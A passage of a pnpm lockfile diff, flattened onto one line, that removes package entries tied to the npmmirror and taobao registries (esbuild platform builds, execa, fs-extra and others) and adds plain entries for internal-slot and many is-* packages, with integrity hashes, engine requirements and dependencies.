https://registry.npmmirror.com/esbuild-linux-s390x/-/esbuild-linux-s390x-0.15.14.tgz} - name: esbuild-linux-s390x - version: 0.15.14 - engines: {node: '>=12'} - cpu: [s390x] - os: [linux] - requiresBuild: true + /internal-slot@1.0.3: + resolution: {integrity: sha512-O0DB1JC/sPyZl7cIo78n5dR7eUSwwpYPiXRhTzNxZVAMUuB8vlnRFyLxdrVToks6XPLVnFfbzaVd5WLjhgg+vA==} + engines: {node: '>= 0.4'} + dependencies: + get-intrinsic: 1.1.1 + has: 1.0.3 + side-channel: 1.0.4 dev: true - optional: true - registry.npmmirror.com/esbuild-netbsd-64/0.15.14: - resolution: {integrity: sha512-6D/dr17piEgevIm1xJfZP2SjB9Z+g8ERhNnBdlZPBWZl+KSPUKLGF13AbvC+nzGh8IxOH2TyTIdRMvKMP0nEzQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/esbuild-netbsd-64/-/esbuild-netbsd-64-0.15.14.tgz} - name: esbuild-netbsd-64 - version: 0.15.14 + /internmap@2.0.3: + resolution: {integrity: sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==} engines: {node: '>=12'} - cpu: [x64] - os: [netbsd] - requiresBuild: true dev: true - optional: true - registry.npmmirror.com/esbuild-openbsd-64/0.15.14: - resolution: {integrity: sha512-rREQBIlMibBetgr2E9Lywt2Qxv2ZdpmYahR4IUlAQ1Efv/A5gYdO0/VIN3iowDbCNTLxp0bb57Vf0LFcffD6kA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/esbuild-openbsd-64/-/esbuild-openbsd-64-0.15.14.tgz} - name: esbuild-openbsd-64 - version: 0.15.14 - engines: {node: '>=12'} - cpu: [x64] - os: [openbsd] - requiresBuild: true + /is-alphabetical@1.0.4: + resolution: {integrity: sha512-DwzsA04LQ10FHTZuL0/grVDk4rFoVH1pjAToYwBrHSxcrBIGQuXrQMtD5U1b0U2XVgKZCTLLP8u2Qxqhy3l2Vg==} dev: true - optional: true - registry.npmmirror.com/esbuild-sunos-64/0.15.14: - resolution: {integrity: sha512-DNVjSp/BY4IfwtdUAvWGIDaIjJXY5KI4uD82+15v6k/w7px9dnaDaJJ2R6Mu+KCgr5oklmFc0KjBjh311Gxl9Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/esbuild-sunos-64/-/esbuild-sunos-64-0.15.14.tgz} - name: esbuild-sunos-64 - version: 0.15.14 - engines: {node: '>=12'} - cpu: [x64] - os: [sunos] - requiresBuild: true + /is-alphanumerical@1.0.4: + resolution: {integrity: sha512-UzoZUr+XfVz3t3v4KyGEniVL9BDRoQtY7tOyrRybkVNjDFWyo1yhXNGrrBTQxp3ib9BLAWs7k2YKBQsFRkZG9A==} + dependencies: + is-alphabetical: 1.0.4 + is-decimal: 1.0.4 dev: true - optional: true - registry.npmmirror.com/esbuild-windows-32/0.15.14: - resolution: {integrity: sha512-pHBWrcA+/oLgvViuG9FO3kNPO635gkoVrRQwe6ZY1S0jdET07xe2toUvQoJQ8KT3/OkxqUasIty5hpuKFLD+eg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/esbuild-windows-32/-/esbuild-windows-32-0.15.14.tgz} - name: esbuild-windows-32 - version: 0.15.14 - engines: {node: '>=12'} - cpu: [ia32] - os: [win32] - requiresBuild: true + /is-arrayish@0.2.1: + resolution: {integrity: sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==} dev: true - optional: true - registry.npmmirror.com/esbuild-windows-64/0.15.14: - resolution: {integrity: sha512-CszIGQVk/P8FOS5UgAH4hKc9zOaFo69fe+k1rqgBHx3CSK3Opyk5lwYriIamaWOVjBt7IwEP6NALz+tkVWdFog==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/esbuild-windows-64/-/esbuild-windows-64-0.15.14.tgz} - name: esbuild-windows-64 - version: 0.15.14 - engines: {node: '>=12'} - cpu: [x64] - os: [win32] - requiresBuild: true + /is-bigint@1.0.4: + resolution: {integrity: sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==} + dependencies: + has-bigints: 1.0.2 dev: true - optional: true - registry.npmmirror.com/esbuild-windows-arm64/0.15.14: - resolution: {integrity: sha512-KW9W4psdZceaS9A7Jsgl4WialOznSURvqX/oHZk3gOP7KbjtHLSsnmSvNdzagGJfxbAe30UVGXRe8q8nDsOSQw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/esbuild-windows-arm64/-/esbuild-windows-arm64-0.15.14.tgz} - name: esbuild-windows-arm64 - version: 0.15.14 - engines: {node: '>=12'} - cpu: [arm64] - os: [win32] - requiresBuild: true + /is-binary-path@2.1.0: + resolution: {integrity: sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==} + engines: {node: '>=8'} + dependencies: + binary-extensions: 2.2.0 dev: true - optional: true - registry.npmmirror.com/esbuild/0.15.14: - resolution: {integrity: sha512-pJN8j42fvWLFWwSMG4luuupl2Me7mxciUOsMegKvwCmhEbJ2covUdFnihxm0FMIBV+cbwbtMoHgMCCI+pj1btQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/esbuild/-/esbuild-0.15.14.tgz} - name: esbuild - version: 0.15.14 - engines: {node: '>=12'} - hasBin: true - requiresBuild: true - optionalDependencies: - '@esbuild/android-arm': registry.npmmirror.com/@esbuild/android-arm/0.15.14 - '@esbuild/linux-loong64': registry.npmmirror.com/@esbuild/linux-loong64/0.15.14 - esbuild-android-64: registry.npmmirror.com/esbuild-android-64/0.15.14 - esbuild-android-arm64: registry.npmmirror.com/esbuild-android-arm64/0.15.14 - esbuild-darwin-64: registry.npmmirror.com/esbuild-darwin-64/0.15.14 - esbuild-darwin-arm64: registry.npmmirror.com/esbuild-darwin-arm64/0.15.14 - esbuild-freebsd-64: registry.npmmirror.com/esbuild-freebsd-64/0.15.14 - esbuild-freebsd-arm64: registry.npmmirror.com/esbuild-freebsd-arm64/0.15.14 - esbuild-linux-32: registry.npmmirror.com/esbuild-linux-32/0.15.14 - esbuild-linux-64: registry.npmmirror.com/esbuild-linux-64/0.15.14 - esbuild-linux-arm: registry.npmmirror.com/esbuild-linux-arm/0.15.14 - esbuild-linux-arm64: registry.npmmirror.com/esbuild-linux-arm64/0.15.14 - esbuild-linux-mips64le: registry.npmmirror.com/esbuild-linux-mips64le/0.15.14 - esbuild-linux-ppc64le: registry.npmmirror.com/esbuild-linux-ppc64le/0.15.14 - esbuild-linux-riscv64: registry.npmmirror.com/esbuild-linux-riscv64/0.15.14 - esbuild-linux-s390x: registry.npmmirror.com/esbuild-linux-s390x/0.15.14 - esbuild-netbsd-64: registry.npmmirror.com/esbuild-netbsd-64/0.15.14 - esbuild-openbsd-64: registry.npmmirror.com/esbuild-openbsd-64/0.15.14 - esbuild-sunos-64: registry.npmmirror.com/esbuild-sunos-64/0.15.14 - esbuild-windows-32: registry.npmmirror.com/esbuild-windows-32/0.15.14 - esbuild-windows-64: registry.npmmirror.com/esbuild-windows-64/0.15.14 - esbuild-windows-arm64: registry.npmmirror.com/esbuild-windows-arm64/0.15.14 - dev: true - - registry.npmmirror.com/escalade/3.1.1: - resolution: {integrity: sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/escalade/-/escalade-3.1.1.tgz} - name: escalade - version: 3.1.1 - engines: {node: '>=6'} + /is-boolean-object@1.1.2: + resolution: {integrity: sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==} + engines: {node: '>= 0.4'} + dependencies: + call-bind: 1.0.2 + has-tostringtag: 1.0.0 dev: true - registry.npmmirror.com/escape-goat/3.0.0: - resolution: {integrity: sha512-w3PwNZJwRxlp47QGzhuEBldEqVHHhh8/tIPcl6ecf2Bou99cdAt0knihBV0Ecc7CGxYduXVBDheH1K2oADRlvw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/escape-goat/-/escape-goat-3.0.0.tgz} - name: escape-goat - version: 3.0.0 - engines: {node: '>=10'} + /is-callable@1.2.4: + resolution: {integrity: sha512-nsuwtxZfMX67Oryl9LCQ+upnC0Z0BgpwntpS89m1H/TLF0zNfzfLMV/9Wa/6MZsj0acpEjAO0KF1xT6ZdLl95w==} + engines: {node: '>= 0.4'} dev: true - registry.npmmirror.com/escape-string-regexp/1.0.5: - resolution: {integrity: sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz} - name: escape-string-regexp - version: 1.0.5 - engines: {node: '>=0.8.0'} + /is-core-module@2.9.0: + resolution: {integrity: sha512-+5FPy5PnwmO3lvfMb0AsoPaBG+5KHUI0wYFXOtYPnVVVspTFUuMZNfNaNVRt3FZadstu2c8x23vykRW/NBoU6A==} + dependencies: + has: 1.0.3 dev: true - registry.npmmirror.com/esm/3.2.25: - resolution: {integrity: sha512-U1suiZ2oDVWv4zPO56S0NcR5QriEahGtdN2OR6FiOG4WJvcjBVFB0qI4+eKoWFH483PKGuLuu6V8Z4T5g63UVA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/esm/-/esm-3.2.25.tgz} - name: esm - version: 3.2.25 - engines: {node: '>=6'} + /is-date-object@1.0.5: + resolution: {integrity: sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==} + engines: {node: '>= 0.4'} + dependencies: + has-tostringtag: 1.0.0 dev: true - registry.npmmirror.com/esprima/4.0.1: - resolution: {integrity: sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/esprima/-/esprima-4.0.1.tgz} - name: esprima - version: 4.0.1 - engines: {node: '>=4'} - hasBin: true + /is-decimal@1.0.4: + resolution: {integrity: sha512-RGdriMmQQvZ2aqaQq3awNA6dCGtKpiDFcOzrTWrDAT2MiWrKQVPmxLGHl7Y2nNu6led0kEyoX0enY0qXYsv9zw==} dev: true - registry.npmmirror.com/estree-walker/1.0.1: - resolution: {integrity: sha512-1fMXF3YP4pZZVozF8j/ZLfvnR8NSIljt56UhbZ5PeeDmmGHpgpdwQt7ITlGvYaQukCvuBRMLEiKiYC+oeIg4cg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/estree-walker/-/estree-walker-1.0.1.tgz} - name: estree-walker - version: 1.0.1 + /is-extendable@0.1.1: + resolution: {integrity: sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==} + engines: {node: '>=0.10.0'} dev: true - registry.npmmirror.com/estree-walker/2.0.2: - resolution: {integrity: sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/estree-walker/-/estree-walker-2.0.2.tgz} - name: estree-walker - version: 2.0.2 + /is-extglob@2.1.1: + resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==} + engines: {node: '>=0.10.0'} dev: true - registry.npmmirror.com/esutils/2.0.3: - resolution: {integrity: sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/esutils/-/esutils-2.0.3.tgz} - name: esutils - version: 2.0.3 - engines: {node: '>=0.10.0'} + /is-fullwidth-code-point@2.0.0: + resolution: {integrity: sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==} + engines: {node: '>=4'} dev: true - registry.npmmirror.com/eve-raphael/0.5.0: - resolution: {integrity: sha512-jrxnPsCGqng1UZuEp9DecX/AuSyAszATSjf4oEcRxvfxa1Oux4KkIPKBAAWWnpdwfARtr+Q0o9aPYWjsROD7ug==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/eve-raphael/-/eve-raphael-0.5.0.tgz} - name: eve-raphael - version: 0.5.0 + /is-fullwidth-code-point@3.0.0: + resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==} + engines: {node: '>=8'} dev: true - registry.npmmirror.com/execa/5.1.1: - resolution: {integrity: sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/execa/-/execa-5.1.1.tgz} - name: execa - version: 5.1.1 - engines: {node: '>=10'} - dependencies: - cross-spawn: registry.npmmirror.com/cross-spawn/7.0.3 - get-stream: registry.npmmirror.com/get-stream/6.0.1 - human-signals: registry.npmmirror.com/human-signals/2.1.0 - is-stream: registry.npmmirror.com/is-stream/2.0.1 - merge-stream: registry.npmmirror.com/merge-stream/2.0.0 - npm-run-path: registry.npmmirror.com/npm-run-path/4.0.1 - onetime: registry.npmmirror.com/onetime/5.1.2 - signal-exit: registry.npmmirror.com/signal-exit/3.0.7 - strip-final-newline: registry.npmmirror.com/strip-final-newline/2.0.0 - dev: true - - registry.npmmirror.com/execa/6.1.0: - resolution: {integrity: sha512-QVWlX2e50heYJcCPG0iWtf8r0xjEYfz/OYLGDYH+IyjWezzPNxz63qNFOu0l4YftGWuizFVZHHs8PrLU5p2IDA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/execa/-/execa-6.1.0.tgz} - name: execa - version: 6.1.0 - engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} - dependencies: - cross-spawn: registry.npmmirror.com/cross-spawn/7.0.3 - get-stream: registry.npmmirror.com/get-stream/6.0.1 - human-signals: registry.npmmirror.com/human-signals/3.0.1 - is-stream: registry.npmmirror.com/is-stream/3.0.0 - merge-stream: registry.npmmirror.com/merge-stream/2.0.0 - npm-run-path: registry.npmmirror.com/npm-run-path/5.1.0 - onetime: registry.npmmirror.com/onetime/6.0.0 - signal-exit: registry.npmmirror.com/signal-exit/3.0.7 - strip-final-newline: registry.npmmirror.com/strip-final-newline/3.0.0 - dev: true - - registry.npmmirror.com/extend-shallow/2.0.1: - resolution: {integrity: sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/extend-shallow/-/extend-shallow-2.0.1.tgz} - name: extend-shallow - version: 2.0.1 + /is-glob@4.0.3: + resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==} engines: {node: '>=0.10.0'} dependencies: - is-extendable: registry.npmmirror.com/is-extendable/0.1.1 - dev: true - - registry.npmmirror.com/fast-clone/1.5.13: - resolution: {integrity: sha512-0ez7coyFBQFjZtId+RJqJ+EQs61w9xARfqjqK0AD9vIUkSxWD4HvPt80+5evebZ1tTnv1GYKrPTipx7kOW5ipA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/fast-clone/-/fast-clone-1.5.13.tgz} - name: fast-clone - version: 1.5.13 + is-extglob: 2.1.1 dev: true - registry.npmmirror.com/fast-deep-equal/3.1.3: - resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz} - name: fast-deep-equal - version: 3.1.3 + /is-interactive@2.0.0: + resolution: {integrity: sha512-qP1vozQRI+BMOPcjFzrjXuQvdak2pHNUMZoeG2eRbiSqyvbEf/wQtEOTOX1guk6E3t36RkaqiSt8A/6YElNxLQ==} + engines: {node: '>=12'} dev: true - registry.npmmirror.com/fast-glob/3.2.11: - resolution: {integrity: sha512-xrO3+1bxSo3ZVHAnqzyuewYT6aMFHRAd4Kcs92MAonjwQZLsK9d0SF1IyQ3k5PoirxTW0Oe/RqFgMQ6TcNE5Ew==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/fast-glob/-/fast-glob-3.2.11.tgz} - name: fast-glob - version: 3.2.11 - engines: {node: '>=8.6.0'} - dependencies: - '@nodelib/fs.stat': registry.npmmirror.com/@nodelib/fs.stat/2.0.5 - '@nodelib/fs.walk': registry.npmmirror.com/@nodelib/fs.walk/1.2.8 - glob-parent: registry.npmmirror.com/glob-parent/5.1.2 - merge2: registry.npmmirror.com/merge2/1.4.1 - micromatch: registry.npmmirror.com/micromatch/4.0.5 + /is-module@1.0.0: + resolution: {integrity: sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g==} dev: true - registry.npmmirror.com/fast-json-stable-stringify/2.1.0: - resolution: {integrity: sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz} - name: fast-json-stable-stringify - version: 2.1.0 + /is-negative-zero@2.0.2: + resolution: {integrity: sha512-dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA==} + engines: {node: '>= 0.4'} dev: true - registry.npmmirror.com/fastq/1.13.0: - resolution: {integrity: sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/fastq/-/fastq-1.13.0.tgz} - name: fastq - version: 1.13.0 + /is-number-object@1.0.7: + resolution: {integrity: sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ==} + engines: {node: '>= 0.4'} dependencies: - reusify: registry.npmmirror.com/reusify/1.0.4 + has-tostringtag: 1.0.0 dev: true - registry.npmmirror.com/fflate/0.7.4: - resolution: {integrity: sha512-5u2V/CDW15QM1XbbgS+0DfPxVB+jUKhWEKuuFuHncbk3tEEqzmoXL+2KyOFuKGqOnmdIy0/davWF1CkuwtibCw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/fflate/-/fflate-0.7.4.tgz} - name: fflate - version: 0.7.4 + /is-number@7.0.0: + resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==} + engines: {node: '>=0.12.0'} dev: true - registry.npmmirror.com/filelist/1.0.3: - resolution: {integrity: sha512-LwjCsruLWQULGYKy7TX0OPtrL9kLpojOFKc5VCTxdFTV7w5zbsgqVKfnkKG7Qgjtq50gKfO56hJv88OfcGb70Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/filelist/-/filelist-1.0.3.tgz} - name: filelist - version: 1.0.3 - dependencies: - minimatch: registry.npmmirror.com/minimatch/5.0.1 + /is-obj@1.0.1: + resolution: {integrity: sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg==} + engines: {node: '>=0.10.0'} dev: true - registry.npmmirror.com/fill-range/7.0.1: - resolution: {integrity: sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/fill-range/-/fill-range-7.0.1.tgz} - name: fill-range - version: 7.0.1 + /is-obj@2.0.0: + resolution: {integrity: sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w==} engines: {node: '>=8'} - dependencies: - to-regex-range: registry.npmmirror.com/to-regex-range/5.0.1 - dev: true - - registry.npmmirror.com/flowchart.js/1.17.1: - resolution: {integrity: sha512-zphTaxdyqvHHu+8Cdf6HvamhArXpq9SyNe1zQ61maCIfTenaj3cMvjS1e/0gfPj7QTLTx3HroSzVqDXpL8naoQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/flowchart.js/-/flowchart.js-1.17.1.tgz} - name: flowchart.js - version: 1.17.1 - engines: {node: '>=4.0.0'} - dependencies: - raphael: registry.npmmirror.com/raphael/2.3.0 dev: true - registry.npmmirror.com/fraction.js/4.2.0: - resolution: {integrity: sha512-MhLuK+2gUcnZe8ZHlaaINnQLl0xRIGRfcGk2yl8xoQAfHrSsL3rYu6FCmBdkdbhc9EPlwyGHewaRsvwRMJtAlA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/fraction.js/-/fraction.js-4.2.0.tgz} - name: fraction.js - version: 4.2.0 + /is-plain-obj@1.1.0: + resolution: {integrity: sha512-yvkRyxmFKEOQ4pNXCmJG5AEQNlXJS5LaONXo5/cLdTZdWvsZ1ioJEonLGAosKlMWE8lwUy/bJzMjcw8az73+Fg==} + engines: {node: '>=0.10.0'} dev: true - registry.npmmirror.com/fs-extra/10.1.0: - resolution: {integrity: sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/fs-extra/-/fs-extra-10.1.0.tgz} - name: fs-extra - version: 10.1.0 - engines: {node: '>=12'} + /is-regex@1.1.4: + resolution: {integrity: sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==} + engines: {node: '>= 0.4'} dependencies: - graceful-fs: registry.npmmirror.com/graceful-fs/4.2.10 - jsonfile: registry.npmmirror.com/jsonfile/6.1.0 - universalify: registry.npmmirror.com/universalify/2.0.0 + call-bind: 1.0.2 + has-tostringtag: 1.0.0 dev: true - registry.npmmirror.com/fs-extra/9.1.0: - resolution: {integrity: sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/fs-extra/-/fs-extra-9.1.0.tgz} - name: fs-extra - version: 9.1.0 - engines: {node: '>=10'} - dependencies: - at-least-node: registry.npmmirror.com/at-least-node/1.0.0 - graceful-fs: registry.npmmirror.com/graceful-fs/4.2.10 - jsonfile: registry.npmmirror.com/jsonfile/6.1.0 - universalify: registry.npmmirror.com/universalify/2.0.0 + /is-regexp@1.0.0: + resolution: {integrity: sha512-7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA==} + engines: {node: '>=0.10.0'} dev: true - registry.npmmirror.com/fs.realpath/1.0.0: - resolution: {integrity: sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/fs.realpath/-/fs.realpath-1.0.0.tgz} - name: fs.realpath - version: 1.0.0 + /is-shared-array-buffer@1.0.2: + resolution: {integrity: sha512-sqN2UDu1/0y6uvXyStCOzyhAjCSlHceFoMKJW8W9EU9cvic/QdsZ0kEU93HEy3IUEFZIiH/3w+AH/UQbPHNdhA==} + dependencies: + call-bind: 1.0.2 dev: true - registry.npmmirror.com/fsevents/2.3.2: - resolution: {integrity: sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/fsevents/-/fsevents-2.3.2.tgz} - name: fsevents - version: 2.3.2 - engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} - os: [darwin] - requiresBuild: true + /is-stream@2.0.1: + resolution: {integrity: sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==} + engines: {node: '>=8'} dev: true - optional: true - registry.npmmirror.com/function-bind/1.1.1: - resolution: {integrity: sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/function-bind/-/function-bind-1.1.1.tgz} - name: function-bind - version: 1.1.1 + /is-stream@3.0.0: + resolution: {integrity: sha512-LnQR4bZ9IADDRSkvpqMGvt/tEJWclzklNgSw48V5EAaAeDd6qGvN8ei6k5p0tvxSR171VmGyHuTiAOfxAbr8kA==} + engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} dev: true - registry.npmmirror.com/function.prototype.name/1.1.5: - resolution: {integrity: sha512-uN7m/BzVKQnCUF/iW8jYea67v++2u7m5UgENbHRtdDVclOUP+FMPlCNdmk0h/ysGyo2tavMJEDqJAkJdRa1vMA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/function.prototype.name/-/function.prototype.name-1.1.5.tgz} - name: function.prototype.name - version: 1.1.5 + /is-string@1.0.7: + resolution: {integrity: sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==} engines: {node: '>= 0.4'} dependencies: - call-bind: registry.npmmirror.com/call-bind/1.0.2 - define-properties: registry.npmmirror.com/define-properties/1.1.4 - es-abstract: registry.npmmirror.com/es-abstract/1.20.0 - functions-have-names: registry.npmmirror.com/functions-have-names/1.2.3 - dev: true - - registry.npmmirror.com/functions-have-names/1.2.3: - resolution: {integrity: sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/functions-have-names/-/functions-have-names-1.2.3.tgz} - name: functions-have-names - version: 1.2.3 + has-tostringtag: 1.0.0 dev: true - registry.npmmirror.com/gensync/1.0.0-beta.2: - resolution: {integrity: sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/gensync/-/gensync-1.0.0-beta.2.tgz} - name: gensync - version: 1.0.0-beta.2 - engines: {node: '>=6.9.0'} + /is-symbol@1.0.4: + resolution: {integrity: sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==} + engines: {node: '>= 0.4'} + dependencies: + has-symbols: 1.0.3 dev: true - registry.npmmirror.com/get-intrinsic/1.1.1: - resolution: {integrity: sha512-kWZrnVM42QCiEA2Ig1bG8zjoIMOgxWwYCEeNdwY6Tv/cOSeGpcoX4pXHfKUxNKVoArnrEr2e9srnAxxGIraS9Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/get-intrinsic/-/get-intrinsic-1.1.1.tgz} - name: get-intrinsic - version: 1.1.1 + /is-text-path@1.0.1: + resolution: {integrity: 